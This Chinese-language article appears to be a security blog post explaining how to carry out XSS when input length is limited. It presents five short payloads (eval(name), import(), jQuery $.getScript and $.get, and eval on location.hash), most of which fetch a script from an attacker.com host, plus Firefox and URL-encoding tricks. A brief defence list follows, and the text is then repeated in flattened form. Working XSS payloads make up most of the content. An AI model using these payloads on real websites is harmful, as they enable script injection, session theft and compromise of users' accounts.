输入长度受限情况下的 XSS 攻击
字数 1396 2025-08-27 12:33:43

输入长度受限情况下的XSS攻击技术详解

概述

本文详细分析在输入长度受限情况下如何实现XSS攻击,特别是在alert等函数被限制字符数时的解决方案。核心思路是通过加载外部JavaScript来绕过长度限制,实现任意代码执行。

五种主要攻击方法

1. eval(name)方法

原理:利用name属性可以跨域继承的特性,通过eval(name)执行任意代码。

特点

  • 可能是执行任意代码的最短payload
  • name属性可被攻击者完全控制
  • 除非页面重写了name属性,否则普遍适用

POC示例

<a href="javascript:eval(name)">Click</a>

Payload长度:21字符('javascript:eval(name)'.length==21

完整攻击流程

  1. 攻击者准备恶意页面,设置name属性
  2. 诱导用户点击包含短payload的链接
  3. 执行eval(name)加载外部脚本

2. import方法

原理:使用JavaScript的import()函数动态加载外部脚本。

特点

  • 仅适用于基于Chromium的浏览器
  • 是取回外部JavaScript的最短payload之一

POC示例

<a href="javascript:import(//attacker.com/xss.js)">Click</a>

Payload长度:24字符('javascript:import('.length==24

3. $.getScript方法

原理:利用jQuery的$.getScript函数加载外部脚本。

前提条件

  • 目标页面已加载jQuery
  • 脚本在全局环境下执行

POC示例

<script src='https://code.jquery.com/jquery-3.3.1.min.js'></script>
<a href="javascript:$.getScript('//attacker.com/xss.js')">Click</a>

Payload长度:29字符('javascript:$.getScript('.length==29

4. $.get方法

原理:使用jQuery的$.get方法加载外部脚本。

前提条件

  • 目标页面已加载jQuery
  • 仅适用于jQuery 3.00及以前版本
  • 返回的content-type必须设置为text/javascript

POC示例

<script src='https://code.jquery.com/jquery-2.2.4.min.js'></script>
<a href="javascript:$.get('//attacker.com/xss.js')">Click</a>

Payload长度:23字符('javascript:$.get('.length==23

5. 利用已有元素和属性

原理:利用页面中已有的、用户可控制的HTML元素或JavaScript属性。

示例场景

  • 页面使用document.location.hash存储导航信息
  • 攻击者可控制hash部分内容

POC示例

<script>const hash=document.location.hash;</script>
<a href="javascript:eval(`'`+hash)">Click</a>
#';d=document;s=d.createElement('script');s.src='//attacker.com/xss.js';d.body.appendChild(s)

Payload长度:25字符(javascript:eval("'"+hash).length==25)

其他技术要点

防止Firefox导航

在Firefox中,点击JavaScript URI后会触发导航。为防止导航,可以引入一个错误:

javascript:eval(name);q  // q未定义,会终止导航

URL编码技巧

在JavaScript URL环境中可以使用URL编码:

<a href="javascript:x='%27,alert(1)//">Click</a>

解码后相当于:

x='',alert(1)//

防御建议

  1. 对所有用户输入进行严格的过滤和转义
  2. 限制JavaScript URL协议的使用
  3. 实施内容安全策略(CSP)
  4. 及时更新jQuery等库到最新版本
  5. 避免将用户可控数据直接传递给eval等危险函数

总结

在输入长度受限的情况下,攻击者可以通过多种方式绕过限制实现XSS攻击。本文介绍的5种方法各有适用场景,从最短的21字符payload到利用已有页面特性的25字符payload,展示了在严格限制下实现XSS攻击的可能性。防御方需要全面考虑各种攻击向量,实施纵深防御策略。

输入长度受限情况下的XSS攻击技术详解 概述 本文详细分析在输入长度受限情况下如何实现XSS攻击,特别是在alert等函数被限制字符数时的解决方案。核心思路是通过加载外部JavaScript来绕过长度限制,实现任意代码执行。 五种主要攻击方法 1. eval(name)方法 原理 :利用 name 属性可以跨域继承的特性,通过 eval(name) 执行任意代码。 特点 : 可能是执行任意代码的最短payload name 属性可被攻击者完全控制 除非页面重写了 name 属性,否则普遍适用 POC示例 : Payload长度 :21字符( 'javascript:eval(name)'.length==21 ) 完整攻击流程 : 攻击者准备恶意页面,设置 name 属性 诱导用户点击包含短payload的链接 执行 eval(name) 加载外部脚本 2. import方法 原理 :使用JavaScript的 import() 函数动态加载外部脚本。 特点 : 仅适用于基于Chromium的浏览器 是取回外部JavaScript的最短payload之一 POC示例 : Payload长度 :24字符( 'javascript:import('.length==24 ) 3. $.getScript方法 原理 :利用jQuery的 $.getScript 函数加载外部脚本。 前提条件 : 目标页面已加载jQuery 脚本在全局环境下执行 POC示例 : Payload长度 :29字符( 'javascript:$.getScript('.length==29 ) 4. $.get方法 原理 :使用jQuery的 $.get 方法加载外部脚本。 前提条件 : 目标页面已加载jQuery 仅适用于jQuery 3.00及以前版本 返回的content-type必须设置为text/javascript POC示例 : Payload长度 :23字符( 'javascript:$.get('.length==23 ) 5. 利用已有元素和属性 原理 :利用页面中已有的、用户可控制的HTML元素或JavaScript属性。 示例场景 : 页面使用 document.location.hash 存储导航信息 攻击者可控制hash部分内容 POC示例 : Payload长度 :25字符( javascript:eval("'"+hash) .length==25) 其他技术要点 防止Firefox导航 在Firefox中,点击JavaScript URI后会触发导航。为防止导航,可以引入一个错误: URL编码技巧 在JavaScript URL环境中可以使用URL编码: 解码后相当于: 防御建议 对所有用户输入进行严格的过滤和转义 限制JavaScript URL协议的使用 实施内容安全策略(CSP) 及时更新jQuery等库到最新版本 避免将用户可控数据直接传递给eval等危险函数 总结 在输入长度受限的情况下,攻击者可以通过多种方式绕过限制实现XSS攻击。本文介绍的5种方法各有适用场景,从最短的21字符payload到利用已有页面特性的25字符payload,展示了在严格限制下实现XSS攻击的可能性。防御方需要全面考虑各种攻击向量,实施纵深防御策略。